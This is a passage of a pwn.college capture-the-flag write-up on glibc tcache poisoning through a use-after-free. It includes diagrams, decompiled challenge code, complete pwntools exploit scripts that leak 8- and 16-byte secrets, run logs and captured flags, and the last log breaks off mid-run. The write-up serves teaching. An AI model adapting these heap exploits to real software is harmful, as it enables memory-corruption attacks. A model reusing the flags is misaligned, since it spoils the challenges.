└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ next: secret │
├──────────────────┤
│ key: .... │
└──────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET would be allocated because to tcache_perthread_struct, those are the two free chunks. And the first 8 bytes of the SECRET chunk would hold the secret value.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: NULL ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
We just have to call puts on this chunk and get the value.
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-secrets-easy", level='error')
# 1. Capture the target address
p.recvuntil(b"secret stored at ")
addr_hex = p.recvuntil(b".").strip(b".").decode()
secret_addr = int(addr_hex, 16)
print(f"[*] Target Secret Address: {hex(secret_addr)}")
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"puts")
p.sendline(b"1")
leak_text = p.recvuntil(b"Data: ").decode()
secret = p.recvline().strip().decode()
print(f"{leak_text}{secret}")
p.sendline(b"send_flag")
p.sendline(secret.encode())
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-secrets-easy:/$ python ~/script.py
###
### Welcome to /challenge/seeking-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x423266.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x17e5f2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x17e5f350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x17e5f350 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f350 | 0 | 0x91 (P) | (nil) | 0x17e5f010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x17e5f2c0 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f2c0 | 0 | 0x91 (P) | 0x17e5f350 | 0x17e5f010 |
| 0x17e5f350 | 0 | 0x91 (P) | (nil) | 0x17e5f010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x17e5f2c0 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x17e5f2c0 | 0 | 0x91 (P) | 0x423266 | 0x17e5f000 |
| 0x423266 | 0 | 0 (NONE) | 0x68677a7072687266 | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x17e5f2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x423266 | KEY: 0x17e5f010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x423266 | 0 | 0 (NONE) | 0x68677a7072687266 | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x423266
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] puts(allocations[1])
Data: frhrpzgh
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{0jM840YHF5jL79Sl0oYvY6T92Nt.0VM4MDL4ITM0EzW}
Seeking Secrets (Hard)
hacker@dynamic-allocator-misuse~seeking-secrets-hard:~$ /challenge/seeking-secrets-hard
###
### Welcome to /challenge/seeking-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Binary Analysis
/challenge/seeking-secrets-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 7; ++i )
byte_422961[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_422961, 8uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
The solution for this level remains the same as the easy one.
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-secrets-hard", level='error')
secret_addr = 0x422961
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
secret = p.recvline().strip().decode()
print(f"[*] Leaked Secret: {secret}")
p.sendline(b"send_flag")
p.sendline(secret.encode())
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-secrets-hard:/$ python ~/script.py
###
### Welcome to /challenge/seeking-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
[*] Leaked Secret: ipubljho
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{smCm7JHRquJbXskS-KlEMuZeUe5.0lM4MDL4ITM0EzW}
Seeking Substantial Secrets (Easy)
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-easy:/$ /challenge/seeking-substantial-secrets-easy
###
### Welcome to /challenge/seeking-substantial-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x429964.
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Binary Analysis
/challenge/seeking-substantial-secrets-easy :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_429964[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_429964);
puts("If you can leak out this secret, you can redeem it for the flag.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035BA);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v7 = atoi(choice);
if ( v7 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x117u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v8 = atoi(choice);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x129u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v9 = atoi(choice);
if ( v9 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x136u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
v10 = atoi(choice);
if ( v10 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x143u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035BA);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035BA);
if ( !memcmp(choice, byte_429964, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
This time, we can see that the secret is 16 bytes long. Therefore, we will have to employ two rounds of Tcache entry_struct poisoning.
Polluting Tcache entry_struct multiple times
Let's say we allocate two chunks A, B of memory and then free them. It would look something as follows:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read the the index of the first allocation A using the hanging pointer. The first 8 bytes at that location would hold the next pointer which would point to B.
We can overwrite this with the address of the secret.
This would cause the chunk B to be removed from the singly-linked list, and the memory at the secret address would take it's place.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry B ┆ │
├──────────────────┤ │
│ next: NULL │ │
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├───────────────────┤
│ next: secret[:8] │
├───────────────────┤
│ key: secret[8:16] │
└───────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET would be allocated because to tcache_perthread_struct, those are the two free chunks. The first 8 bytes of the SECRET chunk would hold the first 8 bytes of secret value, and the next 8 bytes would be right after that.
However, due to Tcache's behaviour of setting the key pointer to NULL clobbers the trailing 8 bytes of the secret value.
So, using the previously employesd method, we are able to get the first 8 bytes.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: NULL ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━ ┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET ┆
├──────────────────┤
│ secret[:8] │
├──────────────────┤
│ NULL │
└──────────────────┘
For the next, 8 bytes, we have to pollute Tcache entry_struct again, but this time we set the address into which scanf reads to 8 bytes after the secret value's address. So, let's free the first allocation only so that it is added back into the singly linked list.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 1 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │
├──────────────────┤
│ key: Void │
└──────────────────┘
Then we use the scanf command and read to the index of the first allocation A using the hanging pointer.
We can overwrite this with the address of the secret plus 8.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &SECRET │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET2 ┆
├────────────────────┤
│ next: secret[8:16] │
├────────────────────┤
│ key: .... │
└────────────────────┘
Now, if we allocate two chunks again of the same size, the chunk A and SECRET2 would be allocated because to tcache_perthread_struct, those are the two free chunks. And the first 8 bytes of the SECRET chunk would hold the remaining secret value.
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: NULL ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ SECRET2 ┆
├────────────────────┤
│ secret[8:16] │
├────────────────────┤
│ NULL │
└────────────────────┘
This time, even if after allocation the key pointer is set to NULL we don't care because we have the secret value's second half in the first 8 bytes itself.
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-substantial-secrets-easy", level='error')
# 1. Capture the target address
p.recvuntil(b"secret stored at ")
addr_hex = p.recvuntil(b".").strip(b".").decode()
secret_addr = int(addr_hex, 16)
print(f"[*] Target Secret Address: {hex(secret_addr)}")
# --- LEAK PART 1 (First 8 Bytes) ---
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the first half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
# Use ljust to ensure we have 8 bytes even if puts hits a null early
p.recvuntil(b"Data: ")
part1 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 1: {part1}")
print(p.recvuntil(b"quit): ").decode())
# --- LEAK PART 2 (Second 8 Bytes) ---
# We free Index 0 (real heap) to reuse the bin. We DO NOT free Index 1 (secret chunk's first half).
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the second half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr + 8))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
part2 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 2: {part2}")
print(p.recvuntil(b"quit): ").decode())
# --- SUBMIT ---
full_secret = part1 + part2
p.sendline(b"send_flag")
p.sendline(full_secret)
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-easy:/$ python ~/script.py
[*] Target Secret Address: 0x429964
If you can leak out this secret, you can redeem it for the flag.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
